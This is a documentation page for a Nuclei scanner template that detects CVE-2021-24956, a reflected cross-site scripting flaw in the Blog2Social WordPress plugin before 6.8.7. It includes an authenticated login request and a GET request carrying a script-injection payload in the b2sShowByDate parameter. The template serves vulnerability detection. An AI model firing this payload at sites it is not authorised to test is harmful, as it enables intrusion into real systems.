Skip to content
Nuclei Templates

Blog2Social < 6.8.7 - Cross-Site Scripting

ID: CVE-2021-24956

Severity: medium

Author: ritikchaddha

Tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan,adenion

Description

Section titled “Description”

The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24956


info:
  name: Blog2Social < 6.8.7 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 6.8.7
  reference:
    - https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24956
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.42122
    cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: adenion
    product: blog2social
    framework: wordpress
  tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan,adenion


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(document.domain)</script>  HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>" name='
          - 'Your Activity'
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f09b9ac9c3f14619f6493e5ff7296df95bf0bc4d353e832e1a85a5ad0f60d1ec0220428794af5a4a7bab3d900aa1efc9d5895da2ab235f4d24ac195b55207ba18897:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24956.yaml"

View on Github